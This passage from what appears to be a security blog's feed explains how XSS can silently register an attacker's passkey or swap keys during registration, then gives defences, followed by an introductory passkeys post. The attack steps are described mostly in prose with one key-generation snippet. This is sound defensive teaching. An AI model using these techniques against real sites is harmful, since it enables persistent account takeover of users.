authenticator is registering a passkey with your application. </p><p>Attestation is then a signature from the authenticator proving that it's a genuine authenticator from a particular manufacturer, let's say a YubiKey. Our application can verify that signature using the certificates that we fetched above and then we can be confident that we're dealing with a genuine YubiKey. The authenticator will provide an <code>attestationObject</code> that contains an <code>attStmt</code> that looks like this during the registration flow:</p><pre><code class=\"language-json\">\"attStmt\": {\n  \"alg\": -7,                // COSE alg of the signature (e.g. -7 = ES256)\n  \"sig\": h'3045022100…',    // sig over (authData ‖ SHA-256(clientDataJSON))\n  \"x5c\": [                  // attestation certificate chain, leaf first\n    h'308202bd30820…',      // leaf: the authenticator's attestation cert\n    h'30820336308…'         // (optional) intermediate CA cert(s)\n  ]\n}</code></pre><p></p><p>So why on Earth would we not require attestation when registering a passkey with our application?</p><p></p><h3 id=\"convenience\">Convenience</h3><p>The trade-off nobody mentions! An authenticator's ability to cryptographically prove what kind of hardware device it is can't be explained as anything other than a major security win. But that win does come at a cost.</p><p>We pulled the current MDS3 list to take a look at what's in there and we see the likes of Yubico, Feitian, Thales, Ledger, the platform TPM/Hello authenticators, and many more. The problem is what we didn't see. 1Password, LastPass, Bitwarden, Dashlane, iCloud Keychain, Google Password Manager, Chrome's built-in store... This isn't an oversight from these companies, it's a design choice. </p><p>The original idea behind passkeys was that the private key would remain locked on a single device, in secure storage like the Secure Enclave, a TPM, or similar. I'd register a passkey against my online account and save it as \"Scott's Laptop\", and that passkey would forever remain on my laptop, securely stored in the TPM (I'm on Windows). This is a tremendous security super-power, but it comes with a trade-off. If I were to lose my laptop, spill a coffee on it, or it failed spectacularly and the <a href=\"https://en.wikipedia.org/wiki/Magic_smoke?ref=scotthelme.ghost.io\" rel=\"noreferrer\">magic smoke</a> got out, I'm in big trouble. I'd now need to have another device somewhere else that already had a passkey registered on my account so I could sign in from that device, otherwise I'm in big trouble. This idea of having to register and manage individual passkeys for each of your devices to be able to access your online account is what drove us in another direction.</p><p></p><h3 id=\"synced-passkeys\">Synced Passkeys</h3><p>Synced passkeys are the architectural polar-opposite of an attestable hardware credential. Instead of storing the passkey in a secure storage medium like the Secure Enclave or TPM, I use 1Password, which stores the private key in my 1Password vault. My vault is then synced across all of my devices, my Windows desktop, my iPhone, my MacBook Pro, my iPad, and more. This offers me a huge amount of convenience because I can register a passkey with an RP a single time, and then login with that passkey across all of my devices, instead of having to register a passkey from each and every device. But that's the rub... We can't have meaningful hardware attestation in this process to tell us what type of hardware Authenticator we're dealing with because the answer to the question 'what type of device is this?' will always be 'it depends'. There's no generally useful way for software Authenticators like 1Password and others to do attestation, and this is why we don't require it on Report URI, because if we did, the vast majority of our users wouldn't be able to use their preferred method for registering and authenticating with passkeys.</p><p>That tension — device attestation vs. synced passkeys — is genuinely the crux of this whole blog post.</p><p></p><h3 id=\"where-it-all-falls-apart\">Where It All Falls Apart</h3><p>We now have all the pieces of the puzzle, so let's put this together and see where it falls apart. Most online services are not going to require Attestation because it would force so many of their users out of being able to use passkeys in their preferred way. But Attestation allows the RP to know that it's talking to a bona fide Authenticator backed by hardware. Without Attestation we're just talking to software, we're talking to code. As it turns out, webpages run code...</p><p>The entire passkey registration and authentication flows that we walked through earlier were driven by JavaScript. To register a new passkey the page will call <code>navigator.credentials.create()</code> and interact with the Authenticator, passing data backwards and forwards. To authenticate with a passkey the page will call <code>navigator.credentials.get()</code> and interact with the Authenticator, passing data backwards and forwards. If we take Attestation out of the picture, you can complete this entire flow in JavaScript without ever even having to involve an Authenticator. Let's walk through it:</p><p></p><ol>\n<li>\n<p>The JavaScript calls <code>/passkeys/register_get_options/</code> to begin the registration flow as normal.</p>\n</li>\n<li>\n<p>Typically, the JavaScript would now call <code>navigator.credentials.create()</code> to create the new public/private key pair in the Authenticator, instead, we're going just going to create a new key pair in JavaScript.</p>\n<pre><code class=\"language-js\">const kp = await crypto.subtle.generateKey(\n    { name: 'ECDSA', namedCurve: 'P-256' }, true, ['sign']\n);\n</code></pre>\n</li>\n<li>\n<p>We now need to build the payload to send to <code>/passkeys/register_finish/</code> which requires the public key that we just generated, and no attestation data is required. The RP will later only be able to verify that logins are signed by the private key corresponding to this submitted public key; it has not verified that the key was created inside a 'real' authenticator.</p>\n</li>\n<li>\n<p>A new passkey has been successfully registered on the user's account with absolutely <strong>no user interaction required</strong>.</p>\n</li>\n</ol>\n<p></p><p>This might sound crazy, that by simply visiting a page running malicious JavaScript it can register a passkey on your account with absolutely no interaction, but that's exactly how it works if no other steps are required.</p><p></p><figure class=\"kg-card kg-image-card\"><img src=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/05/image-4.png\" class=\"kg-image\" alt=\"XSS Is Deadly for Passkeys: The Hidden Risk of Attestation None\" loading=\"lazy\" width=\"1448\" height=\"1086\" srcset=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/05/image-4.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1000/2026/05/image-4.png 1000w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/05/image-4.png 1448w\" sizes=\"(min-width: 720px) 720px\"></figure><p></p><p>To prove this, I built a few demo pages on the <a href=\"https://report-uri-demo.com/?ref=scotthelme.ghost.io\" rel=\"noreferrer\">Report URI Demo Site</a>, and specifically you want to look at <a href=\"https://report-uri-demo.com/passkeys/1/?ref=scotthelme.ghost.io\" rel=\"noreferrer\">Passkeys Demo 1</a> for this. The very moment that page loads in your browser, the JavaScript payload is going to register a passkey on your account. You can register your own passkey as normal and even sign in with your own passkey, give it a try, but there will always be that second passkey registered by the malicious JavaScript and owned by the attacker.</p><p></p><h3 id=\"xss-is-now-deadly\">XSS Is Now Deadly</h3><p>Having an attacker register their own passkey on your account is a particularly nasty form of account takeover. It is persistent, it looks like a legitimate account-security change, and if passkeys are sufficient to sign in, the attacker now has a clean authentication path back into the account. You are now totally pwned, and, it gets worse. </p><p>Because the passkey registration process is orchestrated by JavaScript, if we're running malicious JavaScript in the page, we can proxy the WebAuthn API calls between the browser and the Authenticator. The ultimate in-page MiTM attack!</p><p></p><figure class=\"kg-card kg-image-card\"><img src=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/05/image-1.png\" class=\"kg-image\" alt=\"XSS Is Deadly for Passkeys: The Hidden Risk of Attestation None\" loading=\"lazy\" width=\"1448\" height=\"1086\" srcset=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/05/image-1.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1000/2026/05/image-1.png 1000w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/05/image-1.png 1448w\" sizes=\"(min-width: 720px) 720px\"></figure><p></p><p>By hooking and tampering with the <code>navigator.credentials.create()</code> API, we can substitute the values being passed between the browser and the Authenticator. This means that the user will conduct their normal registration process, get a prompt from their Authenticator to create and save a new passkey, but the Authenticator will then <strong>save the wrong passkey</strong>. The Authenticator will save the passkey that it generated, but that was not the passkey sent to the RP, which was substituted for the attacker's passkey. It now looks like you've registered a passkey on the website, you see a passkey in your password manager, the website shows that a Passkey has now been registered on your account, but the passkey the victim has will never work. Only the passkey that the attacker has will work and the reason this work so well is best demonstrated by updating the diagram.</p><p></p><figure class=\"kg-card kg-image-card\"><img src=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/05/image-5.png\" class=\"kg-image\" alt=\"XSS Is Deadly for Passkeys: The Hidden Risk of Attestation None\" loading=\"lazy\" width=\"1448\" height=\"1086\" srcset=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/05/image-5.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1000/2026/05/image-5.png 1000w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/05/image-5.png 1448w\" sizes=\"(min-width: 720px) 720px\"></figure><p></p><p>To demonstrate this process, we've created <a href=\"https://report-uri-demo.com/passkeys/2/?ref=scotthelme.ghost.io\" rel=\"noreferrer\">Passkeys Demo 2</a>, where you can register a passkey on your account, but the passkey saved on your device will not be the correct passkey. You can then try to sign in with your passkey and observe that, as expected, it doesn't work, but the attacker can log in with their passkey.</p><p></p><h3 id=\"the-threat-model-that-matters\">The Threat Model That Matters</h3><p>Attestation isn't being \"skipped\" out of laziness or a lack of knowledge, it's a recognition that for a service whose users are spread across every device and every password manager, the strong version of attestation would trade an assurance about device provenance for a very real loss of accessibility. The threat model that matters for us — phishing, credential theft, replay — is fully addressed by the challenge/origin binding and the signature check provided by synced passkeys. Device attestation doesn't move that needle, and it's why we don't require it.</p><p>Attestation and synced passkeys are fundamentally at odds, and choosing not to attest is what lets your users bring the passkeys that they actually have. If it's a choice between no Attestation or no passkeys, which are you choosing?</p><p></p><h3 id=\"defending-against-the-threat\">Defending Against The Threat</h3><p>Everyone out there should be using, or aiming to use, passkeys, but we need to acknowledge the risks that exist and take steps to mitigate them. Here is some practical guidance to take away and use to help strengthen your passkeys deployment.</p><p></p>\n<!--kg-card-begin: html-->\n<h4 style=\"font-size: 2.2rem;\">Step up authentication before registration</h4>\n<!--kg-card-end: html-->\n<p>This one can be tricky because I've seen many sites using passkeys to replace passwords, but that's not something we've done on Report URI, passkeys are used as a 2FA mechanism. When attempting to register a new passkey on your account, you need the current password for the account to do it. This means that JavaScript can't silently register a new passkey. You could also require any other 2FA mechanism, a magic-link via email, or any other additional authentication mechanism.</p><figure class=\"kg-card kg-image-card\"><img src=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/05/image-3.png\" class=\"kg-image\" alt=\"XSS Is Deadly for Passkeys: The Hidden Risk of Attestation None\" loading=\"lazy\" width=\"934\" height=\"445\" srcset=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/05/image-3.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/05/image-3.png 934w\" sizes=\"(min-width: 720px) 720px\"></figure><p></p>\n<!--kg-card-begin: html-->\n<h4 style=\"font-size: 2.2rem;\">Stop the Malicious JavaScript from running</h4>\n<!--kg-card-end: html-->\n<p>A strong <a href=\"https://report-uri.com/products/content_security_policy?ref=scotthelme.ghost.io\" rel=\"noreferrer\">Content Security Policy</a> is going to go a long way here and the best way to stop this attack is to stop the XSS at the source. You should also use <a href=\"https://scotthelme.co.uk/subresource-integrity/?ref=scotthelme.ghost.io\" rel=\"noreferrer\">Subresource Integrity</a> wherever possible to secure your third-party dependencies. You can see <a href=\"https://report-uri-demo.com/passkeys/3/?ref=scotthelme.ghost.io\" rel=\"noreferrer\">Passkeys Demo 3</a> for what happens when an analytics script goes rogue and starts registering passkeys for your visitors.</p><figure class=\"kg-card kg-image-card\"><img src=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/05/image-6.png\" class=\"kg-image\" alt=\"XSS Is Deadly for Passkeys: The Hidden Risk of Attestation None\" loading=\"lazy\" width=\"402\" height=\"146\"></figure><p></p>\n<!--kg-card-begin: html-->\n<h4 style=\"font-size: 2.2rem;\">Take Control of Powerful APIs</h4>\n<!--kg-card-end: html-->\n<p>Using Permissions Policy, you can take control of which pages on your site, and which third-party scripts you're loading, have access to the <code>navigator.credentials.create()</code> and <code>navigator.credentials.get()</code> API calls to register a passkey and authenticate with a passkey. In reality, we probably have very few pages on our sites that need to touch passkeys, and probably even fewer third-party scripts that we want to have that capability. This won’t stop the direct <code>/register_finish/</code> attack described above, because that attack doesn’t need the WebAuthn API, but it does reduce the number of places where malicious JavaScript can interfere with legitimate passkey ceremonies.</p><figure class=\"kg-card kg-image-card\"><img src=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/05/image-7.png\" class=\"kg-image\" alt=\"XSS Is Deadly for Passkeys: The Hidden Risk of Attestation None\" loading=\"lazy\" width=\"660\" height=\"132\" srcset=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/05/image-7.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/05/image-7.png 660w\"></figure><p></p>\n<!--kg-card-begin: html-->\n<h4 style=\"font-size: 2.2rem;\">Out-Of-Band Notification on Registration</h4>\n<!--kg-card-end: html-->\n<p>If a new passkey is added to the account of one of your users, you should absolutely be notifying them that this has happened. Send out a notification, via email or any other means, to your user as soon as a new passkey is added to their account. If they were not expecting this to have happened, they can take immediate steps to protect their account.</p><figure class=\"kg-card kg-image-card\"><img src=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/05/image-8.png\" class=\"kg-image\" alt=\"XSS Is Deadly for Passkeys: The Hidden Risk of Attestation None\" loading=\"lazy\" width=\"717\" height=\"570\" srcset=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/05/image-8.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/05/image-8.png 717w\"></figure><p></p><h3 id=\"these-are-problems-that-report-uri-can-solve\">These Are Problems That Report URI Can Solve</h3><p>As a specialised client-side protection platform, it stands to reason that Report URI can help you defend against these client-side attacks. I'm going to keep it brief here as the main purpose of this blog post is to highlight the risks above, but this is a topic we've done a lot of research on and we can provide some real value.</p><p></p><figure class=\"kg-card kg-image-card\"><a href=\"https://report-uri.com/?ref=scotthelme.ghost.io\"><img src=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/05/report-uri-logo-2.png\" class=\"kg-image\" alt=\"XSS Is Deadly for Passkeys: The Hidden Risk of Attestation None\" loading=\"lazy\" width=\"800\" height=\"70\" srcset=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/05/report-uri-logo-2.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/05/report-uri-logo-2.png 800w\" sizes=\"(min-width: 720px) 720px\"></a></figure><p></p><ul><li>Get a <a href=\"https://report-uri.com/products/content_security_policy?ref=scotthelme.ghost.io\" rel=\"noreferrer\">Content Security Policy</a> deployed and get real-time feedback from the browser about what's happening in the page as your visitors see it.</li><li>Use our <a href=\"https://report-uri.com/solutions/javascript_integrity_monitoring?ref=scotthelme.ghost.io\" rel=\"noreferrer\">JavaScript Integrity Monitoring</a> to keep track of your third-party JavaScript dependencies, and when they change. </li><li>Audit the use of Subresource Integrity across your site using <a href=\"https://report-uri.com/products/integrity_policy?ref=scotthelme.ghost.io\" rel=\"noreferrer\">Integrity Policy</a> and keep your JavaScript Supply Chain secure. </li><li>Deploy a <a href=\"https://report-uri.com/products/permissions_policy?ref=scotthelme.ghost.io\" rel=\"noreferrer\">Permissions Policy</a> on your site and lock down the use of powerful JavaScript APIs.</li></ul><p></p><p>We’ve also put together a dedicated <a href=\"https://report-uri.com/solutions/passkeys_protection?ref=scotthelme.ghost.io\" rel=\"noreferrer\">Passkeys solutions page</a> and whitepaper for teams who want practical guidance on finding and reducing these risks.</p><p></p><h3 id=\"conclusion\">Conclusion</h3><p>Using <code>attestation: \"none\"</code> isn't a problem, it's a trade-off between security and convenience. The hidden risk is overlooking the threat of a page-level adversary, who is always going to cause you problems, but they can cause some particularly big problems when it comes to passkeys.</p><p>Passkeys remain the right direction, and I want to see widespread adoption of them, but the security boundary they replace (passwords) was a single secret on the wire. The boundary they introduce, a ceremony brokered by the user agent, only holds if the user agent, and everything injected into it, can be trusted. This is why XSS becomes deadly to passkeys.</p><p></p><p></p>\n<!--kg-card-begin: html-->\n<script src=\"https://cdnjs.cloudflare.com/ajax/libs/prism/1.30.0/prism.min.js\" integrity=\"sha512-HiD3V4nv8fcjtouznjT9TqDNDm1EXngV331YGbfVGeKUoH+OLkRTCMzA34ecjlgSQZpdHZupdSrqHY+Hz3l6uQ==\" crossorigin=\"anonymous\" referrerpolicy=\"no-referrer\"></script>\n<script src=\"https://cdnjs.cloudflare.com/ajax/libs/prism/1.30.0/components/prism-markup.min.js\" integrity=\"sha512-Ei5Vokmnc/f7vIt31aodVMuavT/xp2Lt5vGDYLgCzgBX/z5ghbZQfxt/9FkNs+RyG8IfBKAkdRsQQk4PZyHq5g==\" crossorigin=\"anonymous\" referrerpolicy=\"no-referrer\"></script>\n<link rel=\"stylesheet\" href=\"https://cdnjs.cloudflare.com/ajax/libs/prism/1.30.0/themes/prism-okaidia.min.css\" integrity=\"sha512-mIs9kKbaw6JZFfSuo+MovjU+Ntggfoj8RwAmJbVXQ5mkAX5LlgETQEweFPI18humSPHymTb5iikEOKWF7I8ncQ==\" crossorigin=\"anonymous\" referrerpolicy=\"no-referrer\">\n<style>\n  pre[class*=\"language-\"] {\n      font-size: 0.75em;\n  }\n</style>\n<script src=\"https://cdnjs.cloudflare.com/ajax/libs/prism/1.30.0/components/prism-http.min.js\" integrity=\"sha512-3KphgbiKTzK2CNxlSgUKypipTV7tWknO5czNb+E7H4CeHOOSer2s2rIOCTuz8NsY1zm+B9tP9Ul2JX/tmdyOYg==\" crossorigin=\"anonymous\" referrerpolicy=\"no-referrer\"></script>\n<script src=\"https://cdnjs.cloudflare.com/ajax/libs/prism/1.30.0/components/prism-javascript.min.js\" integrity=\"sha512-jwrwRWZWW9J6bjmBOJxPcbRvEBSQeY4Ad0NEXSfP0vwYi/Yu9x5VhDBl3wz6Pnxs8Rx/t1P8r9/OHCRciHcT7Q==\" crossorigin=\"anonymous\" referrerpolicy=\"no-referrer\"></script>\n<script src=\"https://cdnjs.cloudflare.com/ajax/libs/prism/1.30.0/components/prism-json.min.js\" integrity=\"sha512-QXFMVAusM85vUYDaNgcYeU3rzSlc+bTV4JvkfJhjxSHlQEo+ig53BtnGkvFTiNJh8D+wv6uWAQ2vJaVmxe8d3w==\" crossorigin=\"anonymous\" referrerpolicy=\"no-referrer\"></script>\n<!--kg-card-end: html-->\n<p></p>",
          "image": {
            "url": "https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/05/passkeys-xss.png",
            "title": null
          },
          "media": [
            {
              "url": "https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/05/passkeys-xss.png",
              "image": "https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/05/passkeys-xss.png",
              "title": null,
              "length": null,
              "type": "image",
              "mimeType": null
            }
          ],
          "authors": [
            {
              "name": "Scott Helme",
              "email": null,
              "url": null
            }
          ],
          "categories": [
            {
              "label": "XSS",
              "term": "XSS",
              "url": null
            },
            {
              "label": "Passkeys",
              "term": "Passkeys",
              "url": null
            },
            {
              "label": "Report URI",
              "term": "Report URI",
              "url": null
            }
          ]
        },
        {
          "id": "6a060a6ed5ad2e0001eb50ed",
          "title": "Passkeys 101: An Introduction to Passkeys and How They Work",
          "description": "<p>Passwords have been the weak point in online authentication for decades. They can be reused, guessed, stolen, phished, leaked, sprayed, stuffed, and captured by malware. Passkeys are one of the first mainstream authentication technologies that remove many of those problems entirely, and any website still relying on passwords should be</p>",
          "url": "https://scotthelme.ghost.io/passkeys-101-an-introduction-to-passkeys-and-how-they-work/",
          "published": "2026-05-18T09:16:29.000Z",
          "updated": "2026-05-18T09:16:29.000Z",
          "content": "<img src=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/05/introduction-to-passkeys.png\" alt=\"Passkeys 101: An Introduction to Passkeys and How They Work\"><p>Passwords have been the weak point in online authentication for decades. They can be reused, guessed, stolen, phished, leaked, sprayed, stuffed, and captured by malware. Passkeys are one of the first mainstream authentication technologies that remove many of those problems entirely, and any website still relying on passwords should be seriously considering support for them.</p><p></p><h3 id=\"why-passwords-are-a-problem\">Why passwords are a problem</h3><p>I think anyone reading this blog post will understand why passwords are a problem, but I'm going to outline it here to set the scene for why passkeys are such a huge improvement. The truth is, passwords can be a pain, and we've been fighting that pain for decades. We’ve battled password strength requirements, password reuse, credential stuffing, password spraying, database leaks, trivial phishing, and the recent rise of info-stealer malware. We’ve also had to build layers of defensive engineering around passwords, like salting, hashing, breached-password checks, and stronger password policies, just to make them survivable. The truth is, we've been using passwords for so long because they were the best thing we had, not because they're great. </p><p>I first wrote about password security all the way back in 2013 (<a href=\"https://scotthelme.co.uk/password-security/?ref=scotthelme.ghost.io\" rel=\"noreferrer\">link</a>) and much more recently we've had to bring a sharp focus on our handling of passwords at <a href=\"https://report-uri.com/?ref=scotthelme.ghost.io\" rel=\"noreferrer\">Report URI</a>. I covered this in <a href=\"https://scotthelme.co.uk/boosting-account-security-pwned-passwords-and-zxcvbn/?ref=scotthelme.ghost.io\" rel=\"noreferrer\">Boosting password security! Pwned Passwords, zxcvbn, and more!</a> and then <a href=\"https://scotthelme.co.uk/under-attack-responding-to-the-rise-of-info-stealer-threats/?ref=scotthelme.ghost.io\" rel=\"noreferrer\">Under Attack: Responding to the Rise of Info-Stealer Threats</a> in just the last few months. Passwords continue to be a problem! 2FA has helped, and provided a much needed crutch for passwords over the years, but it doesn't solve the phishing problem which is arguably one of the biggest risks with passwords and current generation 2FA as my good friend Troy Hunt found out last year when he got his <a href=\"https://www.troyhunt.com/a-sneaky-phish-just-grabbed-my-mailchimp-mailing-list/?ref=scotthelme.ghost.io\" rel=\"noreferrer\">password and TOTP phished</a>. We need something better, much better.</p><p></p><h3 id=\"what-are-passkeys\">What Are Passkeys?</h3><p>In really simple terms, passkeys are another way to authenticate a user. Just as a website might ask me for my username and password to authenticate me and log me in, they can instead rely on passkeys to do that, but with some considerable advantages. At their core, passkeys are just a pair of cryptographic keys, a public key and a private key. As their names would imply, the public key can be made public and shared with the website, whilst the private key remains private and secure on your device, not being shared with anyone. In many cases, that private key is protected by the same mechanism you already use to unlock your device or password manager, such as biometrics, a PIN, or a local device unlock.</p><p></p><h3 id=\"how-passkeys-work-at-a-high-level\">How Passkeys Work at a High Level</h3><p>It's surprisingly easy to give an overview of how passkeys work, both in terms of creating a passkey, and then using that passkey to access your account. Here's a diagram that details the entire process.</p><p></p><figure class=\"kg-card kg-image-card\"><img src=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/05/image.png\" class=\"kg-image\" alt=\"Passkeys 101: An Introduction to Passkeys and How They Work\" loading=\"lazy\" width=\"1742\" height=\"1307\" srcset=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/05/image.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1000/2026/05/image.png 1000w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1600/2026/05/image.png 1600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/05/image.png 1742w\" sizes=\"(min-width: 720px) 720px\"></figure><p></p><p>The first step of this process is known as Registration. This is when you create your key pair, securely store your private key on your device and share your public key with the website in question. The website will then store this public key against your account so they know it's yours. The passkey has now been registered and is ready to use!</p><p>The second step of the process is Authentication. This is when you then come to prove who you are by utilising your previously registered passkey. The website will issue a challenge to you and you must sign that challenge with your private key. You then return this signed challenge to the website which can validate that signature with your public key. This proves that whoever the website is talking to can use the private key associated with that account. Because the private key is protected by your device or passkey provider, that gives the website strong evidence that it is talking to you.</p><p></p><h3 id=\"why-passkeys-are-better\">Why Passkeys Are Better</h3><p>There are a few different areas where passkeys excel when compared to passwords, and each of them is compelling, so I'm going to talk about all of the main advantages.</p><p></p>\n<!--kg-card-begin: html-->\n<h4 style=\"font-size: 2.1rem;\">Phishing Resistance</h4>\n<!--kg-card-end: html-->\n<p>Undoubtedly, this has to be the single biggest advantage of using passkeys; they are incredibly resistant to phishing. You can be tricked into giving up your password by mistake, you can be tricked into giving up your 6-digit TOTP code by mistake, but you can't be tricked into giving up your passkey by mistake. When you register your passkey and it's stored on your device, your device will lock that passkey to the origin that it can be used for. That means if you create a passkey on <code>report-uri.com</code>, but then find yourself on a phishing website like <code>rep0rt-ur1.com</code> that's impersonating us and is trying to phish your credentials, your device will simply not allow you to use your passkey because you are not in the right place. Your device now knows where your passkey can be used, and it will not let you use it anywhere else, which is a protection that can't be offered for passwords.</p><p></p>\n<!--kg-card-begin: html-->\n<h4 style=\"font-size: 2.1rem;\">No More Weak Passwords</h4>\n<!--kg-card-end: html-->\n<p>Everyone knows that we can create weak passwords if we wanted to, but you can't create a weak passkey. Because the generation of the passkey is handled by your device, you can be sure that you're always generating a strong passkey and don't run into similar risks posed by using a weak password. Nobody is going to be able to guess your passkey like they might be able to guess a weak password, because you'll never have a weak passkey.</p><p></p>\n<!--kg-card-begin: html-->\n<h4 style=\"font-size: 2.1rem;\">No More Password Reuse</h4>\n<!--kg-card-end: html-->\n<p>There's nothing stopping you from reusing your password across different services, but your device is required to create a new, unique passkey for each website that you register with. This means that there are no shared passkeys across different services and another category of risk is eliminated.</p><p></p>\n<!--kg-card-begin: html-->\n<h4 style=\"font-size: 2.1rem;\">No More Credential Stuffing or Password Spraying</h4>\n<!--kg-card-end: html-->\n<p>Largely as a consequence of the above two points, an attacker can't use these two common and effective strategies for trying to gain access to accounts that they shouldn't have access to. With no more weak and/or reused credentials, you can say goodbye to some pretty serious problems.</p><p></p>\n<!--kg-card-begin: html-->\n<h4 style=\"font-size: 2.1rem;\">No Shared Secret in your Database</h4>\n<!--kg-card-end: html-->\n<p>When adding a passkey to an account, the website is required to store the public key in their database. The public key, as we mentioned and as hinted by its name, is not a secret! This means that in the event of a database breach, there isn't an additional piece of sensitive information in there to be compromised and all the attacker has managed to gain access to is the public key of the user. The private key remains safe and secure on the user's device that created it.</p><p></p><h3 id=\"conclusion\">Conclusion</h3><p>Passkeys are a major step forward, but they aren't magic. They remove many password-era risks, especially phishing and credential reuse, but they also introduce new implementation and threat-model questions. I’ll be digging into one of those in much more detail in my next post.</p><p>We recently launched support for passkeys on Report URI and you can read about that here: <a href=\"https://scotthelme.co.uk/launching-passkeys-support-on-report-uri/?ref=scotthelme.ghost.io\" rel=\"noreferrer\">Launching Passkeys support on Report URI!</a> We also had our passkeys implementation penetration tested, <a href=\"https://scotthelme.co.uk/bringing-in-the-experts-having-our-passkeys-implementation-security-tested/?ref=scotthelme.ghost.io\" rel=\"noreferrer\">Bringing in the experts; Having our Passkeys implementation Security Tested</a>. As you can see, we're pretty serious about passkeys!</p><p>With that said, there are some new considerations and risks that using passkeys brings, and I've just started to cover those in <a href=\"https://scotthelme.co.uk/security-considerations-when-using-passkeys-on-your-website/?ref=scotthelme.ghost.io\" rel=\"noreferrer\">Security considerations when using Passkeys on your website</a>. That blog post links out to our whitepaper on the problem, but I will also be writing a more detailed blog post with some new information in the coming days, so make sure to subscribe so you're notified when I publish that!</p><p></p>",
          "image": {
            "url": "https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/05/introduction-to-passkeys.png",
            "title": null
          },
          "media": [
            {
              "url": "https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/05/introduction-to-passkeys.png",
              "image": "https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/05/introduction-to-passkeys.png",
              "title": null,
              "length": null,
              "type": "image",
              "mimeType": null
            }
          ],
          "authors": [
            {
              "name": "Scott Helme",
              "email": null,
              "url": null
            }
          ],
          "categories": [
            {
              "label": "Passkeys",
              "term": "Passkeys",
              "url": null
            }
          ]
        },
        {
          "id": "69ef62b5417e7e00019a58ca",
          "title": "Anatomy of a WooCommerce Skimmer: A Technical Deep-Dive",
          "description": "<p>One malicious change to a trusted JavaScript file can turn your checkout page into a silent credit-card skimmer, siphoning customer data off to criminals while the website looks secure and continues to work as normal. That creates serious organisational risk: PCI exposure, regulatory consequences, reputational damage, and a breach</p>",
          "url": "https://scotthelme.ghost.io/anatomy-of-a-woocommerce-skimmer-a-technical-deep-dive/",
          "published": "2026-05-15T14:22:57.000Z",
          "updated": "2026-05-15T14:22:57.000Z",
